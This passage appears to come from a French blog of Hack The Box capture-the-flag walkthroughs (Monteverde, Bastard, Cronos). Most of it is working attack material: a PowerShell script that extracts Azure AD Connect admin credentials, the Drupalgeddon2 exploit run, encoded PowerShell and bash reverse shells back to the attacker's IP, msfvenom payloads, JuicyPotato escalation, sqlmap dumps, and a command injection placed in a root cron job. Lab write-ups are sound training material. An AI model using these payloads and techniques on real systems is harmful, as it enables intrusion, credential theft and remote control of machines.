3
4
5
6
7
8


evil-winrm -u mhope -p '4n0therD4y@n0th3r$' -i "10.10.10.172"

Evil-WinRM shell v3.7

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\mhope\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\mhope\Desktop> cat "C:/Users/mhope/Desktop/user.txt"
4437.....5f01

Privilege Escalation

mhope Group : Azure Admins

On observe que mhope fait partie du groupe Azure Admins.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


*Evil-WinRM* PS C:\Users\mhope\Documents> whoami /groups

GROUP INFORMATION
-----------------

Group Name Type SID Attributes
=======================================
...
MEGABANK\Azure Admins Group S-1-5-21-391775091-850290835-3566037492-2601 Mandatory group, Enabled by default, Enabled group
...

SQL Server: ADSync database

On observer une processus “sqlservr”.

1
2
3
4
5


*Evil-WinRM* PS C:\Users\mhope\Documents> Get-Process sqlservr

Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
------- ------ ----- ----- ------ -- -- -----------
 832 114 406004 275560 3436 0 sqlservr

On remarque que sqlcmd est installé et on observe une base de donnée “ADSync”. On peut bien effectuer des requêtes vers la base de donnée sans utiliser de user/password :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


*Evil-WinRM* PS C:\Users\mhope\Documents> sqlcmd -Q 'SELECT name FROM sys.databases'
name
--------------------------------------------------------------------------------------------------------------------------------
master
tempdb
model
msdb
ADSync

(5 rows affected)

Script

On trouve un script de xpn sur github. Ce script permet de se connecter à la base de donnée ADSync, d’extraire la configuration (chiffrée), puis de la déchiffrer. On obtient alors le mot de passe de l’administrator. Le script est basé sur l’utilisation des infos de la base de données puis du binaire ‘C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll’ pour réussir à récupérer la configuration contenant les creds administrateur :

https://gist.github.com/xpn/0dc393e944d8733e3c63023968583545

En utilisant le script, on remarque qu’il ne fonctionne pas. Les lignes de code permettant la connection à la base de données semblent incorrectes :

1
2


*Evil-WinRM* PS C:\Users\mhope\Documents> $client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\.\ADSync;Initial Catalog=ADSync"
$client.Open()

En cherchant sur internet, j’ai pu corriger la ligne de code permettant la connexion à la bdd. De plus, j’ai pu remarquer certaines erreurs avec des guillemets dans un format suspect. J’ai bien remplacé les guillemets par “’” ou ‘"’.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44


Write-Host "AD Connect Sync Credential Extract POC"

$SQLServer = "127.0.0.1"
$SQLDBName = "ADSync"
$client = New-Object System.Data.SqlClient.SqlConnection
$client.ConnectionString = "Server = $SQLServer; Database = $SQLDBName; Integrated Security = True"
$client.Open()

$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$key_id = $reader.GetInt32(0)
$instance_id = $reader.GetGuid(1)
$entropy = $reader.GetGuid(2)
$reader.Close()

$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$config = $reader.GetString(0)
$crypted = $reader.GetString(1)
$reader.Close()

add-type -path 'C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'
$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager
$km.LoadKeySet($entropy, $instance_id, $key_id)
$key = $null
$km.GetActiveCredentialKey([ref]$key)
$key2 = $null
$km.GetKey(1, [ref]$key2)
$decrypted = $null
$key2.DecryptBase64ToString($crypted, [ref]$decrypted)

Write-Host $decrypted

$domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerXML}}
$username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerXML}}
$password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerXML}}

Write-Host ("Domain: " + $domain.Domain)
Write-Host ("Username: " + $username.Username)
Write-Host ("Password: " + $password.Password)

Output

Après correction des guillements, on execute le .ps1 et obtient les creds admin :

1
2
3
4
5
6
7
8
9


*Evil-WinRM* PS C:\Users\mhope\Documents> .\decrypt.ps1
AD Connect Sync Credential Extract POC
<encrypted-attributes>
 <attribute name="password">d0m@in4dminyeah!</attribute>
</encrypted-attributes>

Domain: MEGABANK.LOCAL
Username: administrator
Password: d0m@in4dminyeah!

Administrator pwned

1
2
3
4
5
6
7
8


[Jul 20, 2025 - 14:56:12 (CEST)] exegol-pentest Monteverde # evil-winrm -u "administrator" -p 'd0m@in4dminyeah!' -i 10.10.10.172

Evil-WinRM shell v3.7

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> cat root.txt
9f15.....9bf4

Tips

Toujours bien vérifier les scripts trouvés. Debug puis trouver l’erreur. Attention au guillemets suspects, toujours remplacer par ‘"’ ou ‘"’.

HTB | Planning

Sat, 12 Jul 2025 00:00:00 +0000

Machine name	OS	IP	Difficulty
Planning	Linux	10.10.11.68	Easy

Soon :)

HTB | Bastard

Fri, 11 Jul 2025 00:00:00 +0000

Machine name	OS	IP	Difficulty
Bastard	Windows	10.10.10.9	Medium

Enumeration

nmap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30


$ nmap -sC -sV -p- -An -vvv 10.10.10.9
Starting Nmap 7.93 ( https://nmap.org ) at 2025-07-11 15:53 CEST

PORTSTATE SERVICE REASON VERSION
80/tcp open http syn-ack ttl 127 Microsoft IIS httpd 7.5
|_http-favicon: Unknown favicon MD5: CF2445DCB53A031C02F9B57E2199BC03
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
| http-robots.txt: 36 disallowed entries
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
| /LICENSE.txt /MAINTAINERS.txt /update.php /UPGRADE.txt /xmlrpc.php
| /admin/ /comment/reply/ /filter/tips/ /node/add/ /search/
| /user/register/ /user/password/ /user/login/ /user/logout/ /?q=admin/
| /?q=comment/reply/ /?q=filter/tips/ /?q=node/add/ /?q=search/
|_/?q=user/password/ /?q=user/register/ /?q=user/login/ /?q=user/logout/
|_http-server-header: Microsoft-IIS/7.5
|_http-generator: Drupal 7 (http://drupal.org)
|_http-title: Welcome to Bastard | Bastard
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49154/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|phone|specialized
Running (JUST GUESSING): Microsoft Windows 8|Phone|2008|7|8.1|Vista|2012 (92%)
OS CPE: cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_8.1 cpe:/o:microsoft:windows_vista::- cpe:/o:microsoft:windows_vista::sp1 cpe:/o:microsoft:windows_server_2012:r2
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
Aggressive OS guesses: Microsoft Windows 8.1 Update 1 (92%), Microsoft Windows Phone 7.5 or 8.0 (92%), Microsoft Windows 7 or Windows Server 2008 R2 (91%), Microsoft Windows Server 2008 R2 (91%), Microsoft Windows Server 2008 R2 or Windows 8.1 (91%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (91%), Microsoft Windows 7 (91%), Microsoft Windows 7 SP1 or Windows Server 2008 R2 (91%), Microsoft Windows 7 SP1 or Windows Server 2008 SP2 or 2008 R2 SP1 (91%), Microsoft Windows Vista SP0 or SP1, Windows Server 2008 SP1, or Windows 7 (91%)
No exact OS matches for host (test conditions non-ideal).

Foothold

Drupal 7.54

On découvre sur le port 80 une page de login. Il est mentionné qu’il s’agit d’un site web Drupal. On trouve la version de Drupal dans un fichier changelog.txt :

http://10.10.10.9/changelog.txt Drupal 7.54, 2017-02-01

CVE-2018-7600 | drupalgeddon2

En utilisant searchsploit, on trouve une RCE qui ne necessite pas d’authentification et qui fonctionne pour les versions avant 7.58 (donc OK pour 7.54).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


$ searchsploit drupal 7.54
-----------------------------------------------------------------------------------
 Exploit Title | Path
-----------------------------------------------------------------------------------
Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution | php/webapps/44449.rb
...

$ searchsploit -m php/webapps/44449.rb
 Exploit: Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution
 URL: https://www.exploit-db.com/exploits/44449
 Path: /opt/tools/exploitdb/exploits/php/webapps/44449.rb
 Codes: CVE-2018-7600
 Verified: True
File Type: Ruby script, ASCII text
Copied to: /workspace/drupwn/44449.rb

On lance l’exploitation, et on obtient directement un shell non-interactif sur lequel on peut executer des commandes.

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103


$ ruby 44449.rb http://10.10.10.9
[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[i] Target : http://10.10.10.9/
--------------------------------------------------------------------------------
[+] Found : http://10.10.10.9/CHANGELOG.txt (HTTP Response: 200)
[+] Drupal!: v7.54
--------------------------------------------------------------------------------
[*] Testing: Form (user/password)
[+] Result : Form valid
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[*] Testing: Clean URLs
[+] Result : Clean URLs enabled
--------------------------------------------------------------------------------
[*] Testing: Code Execution (Method: name)
[i] Payload: echo CGATSMRW
[+] Result : CGATSMRW
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
--------------------------------------------------------------------------------
[*] Testing: Existing file (http://10.10.10.9/shell.php)
[i] Response: HTTP 404 // Size: 12
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[*] Testing: Writing To Web Root (./)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee shell.php
[!] Target is NOT exploitable [2-4] (HTTP Response: 404)... Might not have write access?
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[*] Testing: Existing file (http://10.10.10.9/sites/default/shell.php)
[i] Response: HTTP 404 // Size: 12
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[*] Testing: Writing To Web Root (sites/default/)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee sites/default/shell.php
[!] Target is NOT exploitable [2-4] (HTTP Response: 404)... Might not have write access?
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[*] Testing: Existing file (http://10.10.10.9/sites/default/files/shell.php)
[i] Response: HTTP 404 // Size: 12
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[*] Testing: Writing To Web Root (sites/default/files/)
[*] Moving : ./sites/default/files/.htaccess
[i] Payload: mv -f sites/default/files/.htaccess sites/default/files/.htaccess-bak; echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee sites/default/files/shell.php
[!] Target is NOT exploitable [2-4] (HTTP Response: 404)... Might not have write access?
[!] FAILED : Couldn't find a writeable web path
--------------------------------------------------------------------------------
[*] Dropping back to direct OS commands
drupalgeddon2>> ls

drupalgeddon2>> whoami
nt authority\iusr
drupalgeddon2>> dir
Volume in drive C has no label.
 Volume Serial Number is C4CD-C60B

 Directory of C:\inetpub\drupal-7.54

19/03/2017 09:04 �� <DIR> .
19/03/2017 09:04 �� <DIR> ..
19/03/2017 01:42 �� 317 .editorconfig
19/03/2017 01:42 �� 174 .gitignore
19/03/2017 01:42 �� 5.969 .htaccess
19/03/2017 01:42 �� 6.604 authorize.php
19/03/2017 01:42 �� 110.781 CHANGELOG.txt
19/03/2017 01:42 �� 1.481 COPYRIGHT.txt
19/03/2017 01:42 �� 720 cron.php
19/03/2017 01:43 �� <DIR> includes
19/03/2017 01:42 �� 529 index.php
19/03/2017 01:42 �� 1.717 INSTALL.mysql.txt
19/03/2017 01:42 �� 1.874 INSTALL.pgsql.txt
19/03/2017 01:42 �� 703 install.php
19/03/2017 01:42 �� 1.298 INSTALL.sqlite.txt
19/03/2017 01:42 ��17.995 INSTALL.txt
19/03/2017 01:42 ��18.092 LICENSE.txt
19/03/2017 01:42 �� 8.710 MAINTAINERS.txt
19/03/2017 01:43 �� <DIR> misc
19/03/2017 01:43 �� <DIR> modules
19/03/2017 01:43 �� <DIR> profiles
19/03/2017 01:42 �� 5.382 README.txt
19/03/2017 01:42 �� 2.189 robots.txt
19/03/2017 01:43 �� <DIR> scripts
19/03/2017 01:43 �� <DIR> sites
19/03/2017 01:43 �� <DIR> themes
19/03/2017 01:42 ��19.986 update.php
19/03/2017 01:42 ��10.123 UPGRADE.txt
19/03/2017 01:42 �� 2.200 web.config
19/03/2017 01:42 �� 417 xmlrpc.php
 21 File(s) 217.261 bytes
 9 Dir(s) 4.135.231.488 bytes free

drupalgeddon2>> dir C:\Users
Volume in drive C has no label.
 Volume Serial Number is C4CD-C60B

 Directory of C:\Users

19/03/2017 08:35 �� <DIR> .
19/03/2017 08:35 �� <DIR> ..
19/03/2017 02:20 �� <DIR> Administrator
19/03/2017 02:54 �� <DIR> Classic .NET AppPool
19/03/2017 08:35 �� <DIR> dimitris
14/07/2009 07:57 �� <DIR> Public
 0 File(s) 0 bytes
 6 Dir(s) 4.134.649.856 bytes free

drupalgeddon2>> type C:\Users\dimitris\Desktop\user.txt
292f.....ec9d

Stable Shell

En allant sur https://www.revshells.com/, j’ai pu générer rapidement un script de revershell. J’ai utilisé :

PowerShell #3 (Base64)

Ce qui m’a donné la commande suivante. Pratique, car aucun caractère spécial.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMgA1ACIALAAxADMAMwA3ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==

-----------------------

exegol-pentest Bastard $ nc -lnvp 1337
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337


Ncat: Connection from 10.10.10.9.
Ncat: Connection from 10.10.10.9:57491.
PS C:\inetpub\drupal-7.54> whoami
nt authority\iusr

Better Stable Shell

J’ai trouvé un moyen de faire un shell encore plus stable. Le privesc ne marchait meme pas avec l’autre shell… On ne voyait pas les erreurs non plus. Il vaut mieu generer avec msfvenom un shell.exe :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19


msfvenom -p windows/x64/powershell_reverse_tcp LHOST=10.10.14.25 LPORT=9999 -a x64 --platform windows -e x64/xor_dynamic -b '\x00' -f exe -o shell.exe

--------------

PS C:\inetpub\drupal-7.54> .\shell.exe

--------------

$ nc -lnvp 9999
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999
Ncat: Connection from 10.10.10.9.
Ncat: Connection from 10.10.10.9:57676.
Windows PowerShell running as user BASTARD$ on BASTARD
Copyright (C) Microsoft Corporation. All rights reserved.


PS C:\inetpub\drupal-7.54>

Privilege Escalation

SEImpersonatePrivilege - JuicyPotato

On exploit avec JuicyPotato (j’ai vraiment beaucoup galérer…). On génére un deuxieme rev shell en .exe sur un autre port :

1

msfvenom -p windows/x64/powershell_reverse_tcp LHOST=10.10.14.25 LPORT=8888 -a x64 --platform windows -e x64/xor_dynamic -b '\x00' -f exe -o shell2.exe

On copie shell2.exe sur la machine puis on execute JuicyPotato.exe :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22


PS C:\inetpub\drupal-7.54> ./JP.exe -p cmd.exe -a '/c C:\inetpub\drupal-7.54\shell2.exe' -l 4444 -t * -c '{9B1F122C-2982-4e91-AA8B-E071D54F2A4D}'
Testing {9B1F122C-2982-4e91-AA8B-E071D54F2A4D} 4444
....
[+] authresult 0
{9B1F122C-2982-4e91-AA8B-E071D54F2A4D};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK

-------------------------------

exegol-pentest /workspace $ nc -lnvp 8888
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::8888
Ncat: Listening on 0.0.0.0:8888

Ncat: Connection from 10.10.10.9.
Ncat: Connection from 10.10.10.9:57681.
Windows PowerShell running as user BASTARD$ on BASTARD
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
47f4.....3c54

Tips

un reverse shell en utilisant msfvenom semble plus stable (affiche les erreurs aussi) que le powershell -e …. que j’ai utilisé. Peut etre a utilisé en priorité la prochaine fois ?
Attention au CLSID. Toujours tester plusieurs. NE JAMAIS FAIRE CONFIANCE A CELUI PAR DEFAUT. Regarder sur :
- https://ohpe.it/juicy-potato/CLSID/
- https://github.com/ohpe/juicy-potato/tree/master/CLSID/

HTB | Cronos

Fri, 11 Jul 2025 00:00:00 +0000

Machine name	OS	IP	Difficulty
Cronos	Linux	10.10.10.13	Medium

Enumeration

nmap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19


$ nmap -sC -sV -p- -An -vvv 10.10.10.13

PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 18b973826f26c7788f1b3988d802cee8 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCkOUbDfxsLPWvII72vC7hU4sfLkKVEqyHRpvPWV2+5s2S4kH0rS25C/R+pyGIKHF9LGWTqTChmTbcRJLZE4cJCCOEoIyoeXUZWMYJCqV8crflHiVG7Zx3wdUJ4yb54G6NlS4CQFwChHEH9xHlqsJhkpkYEnmKc+CvMzCbn6CZn9KayOuHPy5NEqTRIHObjIEhbrz2ho8+bKP43fJpWFEx0bAzFFGzU0fMEt8Mj5j71JEpSws4GEgMycq4lQMuw8g6Acf4AqvGC5zqpf2VRID0BDi3gdD1vvX2d67QzHJTPA5wgCk/KzoIAovEwGqjIvWnTzXLL8TilZI6/PV8wPHzn
| 256 1ae606a6050bbb4192b028bf7fe5963b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKWsTNMJT9n5sJr5U1iP8dcbkBrDMs4yp7RRAvuu10E6FmORRY/qrokZVNagS1SA9mC6eaxkgW6NBgBEggm3kfQ=
| 256 1a0ee7ba00cc020104cda3a93f5e2220 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHBIQsAL/XR/HGmUzGZgRJe/1lQvrFWnODXvxQ1Dc+Zx
53/tcp open domain syn-ack ttl 63 ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.10.3-P4-Ubuntu
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_ Supported Methods: POST OPTIONS GET HEAD
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.18 (Ubuntu)

Foothold

dig

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


## dig axfr @10.10.10.13 cronos.htb

; <<>> DiG 9.18.33-1~deb12u2-Debian <<>> axfr @10.10.10.13 cronos.htb
; (1 server found)
;; global options: +cmd
cronos.htb. 604800 IN SOA cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
cronos.htb. 604800 IN NS ns1.cronos.htb.
cronos.htb. 604800 IN A 10.10.10.13
admin.cronos.htb. 604800 IN A 10.10.10.13
ns1.cronos.htb. 604800 IN A 10.10.10.13
www.cronos.htb. 604800 IN A 10.10.10.13
cronos.htb. 604800 IN SOA cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
;; Query time: 20 msec
;; SERVER: 10.10.10.13#53(10.10.10.13) (TCP)
;; WHEN: Thu Jul 10 22:16:46 CEST 2025
;; XFR size: 7 records (messages 1, bytes 203)

sqlmap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


sqlmap --forms --batch -u "http://admin.cronos.htb/"
> username field is vulnerable to blind SQL Injection !

sqlmap --forms --batch -u "http://admin.cronos.htb/" --current-db
> admin

sqlmap --forms --batch -u "http://admin.cronos.htb/" -D admin --tables
> users

sqlmap --forms --batch -u "http://admin.cronos.htb/" -D admin -T users --columns
> Too slow... Trying to guess "password" field and it works !

sqlmap --forms --batch -u "http://admin.cronos.htb/" -D admin -T users -C password --dump
> 4f5fffa7b2340178a716e3832451e058

Sur crackstation : Not found. Hashcat avec rockyou.txt : Not found.

J’ai cherché le hachage sur google : “4f5fffa7b2340178a716e3832451e058” Bingo ! On trouve le mot de passe : 1327663704

On essaye les credentials sur la page de login de admin.cronos.htb et ça marche :

user: admin
pass: 1327663704

Après review du code source (plus tard) on découvre que : $myusername = $_POST[‘username’]; $mypassword = md5($_POST[‘password’]);

Command Injection - admin dashboard

On peut faire des ping et des traceroute sur la page d’admin. En utilisant burp on peut modifier la commande pour executer ce qu’on veut. On peut alors executer un reverse shell vers notre machine :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43


POST /welcome.php HTTP/1.1
Host: admin.cronos.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 16
Origin: http://admin.cronos.htb
Connection: keep-alive
Referer: http://admin.cronos.htb/welcome.php
Cookie: PHPSESSID=0p5lct2jjmbq5neupststnl996
Upgrade-Insecure-Requests: 1
Priority: u=0, i

command=echo+c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMjUvOTAwMSAwPiYx+|+base64+-d+|+bash&host=z

------------------------

$ nc -lnvp 9001
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.10.10.13.
Ncat: Connection from 10.10.10.13:55658.
sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ export TERM=xterm
$ python3 -V
Python 3.5.2
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@cronos:/var/www/admin$ ^Z
[2] + 27640 suspended nc -lnvp 9001
[Jul 10, 2025 - 23:33:12 (CEST)] exegol-pentest Cronos # stty raw -echo;fg
[2] - 27640 continued nc -lnvp 9001

www-data@cronos:/var/www/admin$ whoami
www-data
www-data@cronos:/var/www/admin$ cd /home
www-data@cronos:/home$ cd noulis/
www-data@cronos:/home/noulis$ cat user.txt
fe30.....e498

www-data -> root

laravel root crontab

En utilisant linpeas, on s’en compte que l’utilisateur root execute chaque minute :

php /var/www/laravel/artisan schedule:run » /dev/null 2>&1

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


╔══════════╣ Check for vulnerable cron jobs
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#scheduledcron-jobs
══╣ Cron jobs list

...

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * * root php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1

Grâce à ChatGPT, on comprend qu’il faut modifier le fichier /var/www/laravel/app/Console/Kernel.php. La fonction schedule de ce fichier est executé toutes les minutes par root. Il suffit donc d’executer une commande de reverse shell et le tour est joué.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42


www-data@cronos:/var/www/laravel/app/Console$ head Kernel.php -n100
<?php

namespace App\Console;

use Illuminate\Console\Scheduling\Schedule;
use Illuminate\Foundation\Console\Kernel as ConsoleKernel;

class Kernel extends ConsoleKernel
{
 /**
 * The Artisan commands provided by your application.
 *
 * @var array
 */
 protected $commands = [
 //
 ];

 /**
 * Define the application's command schedule.
 *
 * @param \Illuminate\Console\Scheduling\Schedule $schedule
 * @return void
 */
 protected function schedule(Schedule $schedule)
 {
 $schedule->exec('echo c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMjUvOTAwMiAwPiYx | base64 -d | bash')->everyMinute();
 // $schedule->command('inspire')
 // ->hourly();
 }

 /**
 * Register the Closure based commands for the application.
 *
 * @return void
 */
 protected function commands()
 {
 require base_path('routes/console.php');
 }
}

Au bout d’une minute, on reçoit bien un shell en tant que root.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


## nc -lnvp 9002 
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9002
Ncat: Listening on 0.0.0.0:9002
Ncat: Connection from 10.10.10.13.
Ncat: Connection from 10.10.10.13:38926.
sh: 0: can't access tty; job control turned off
# whoami
root
# cat /root/root.txt 
3c1c.....64e8

Tips

Toujours faire un sqlmap sur une page de login si on ne trouve rien ! Tester un “’ or 1=1; –” n’est pas suffisant. Il y a bcp de sql injection que l’on peut decouvrir avec SQLMAP…

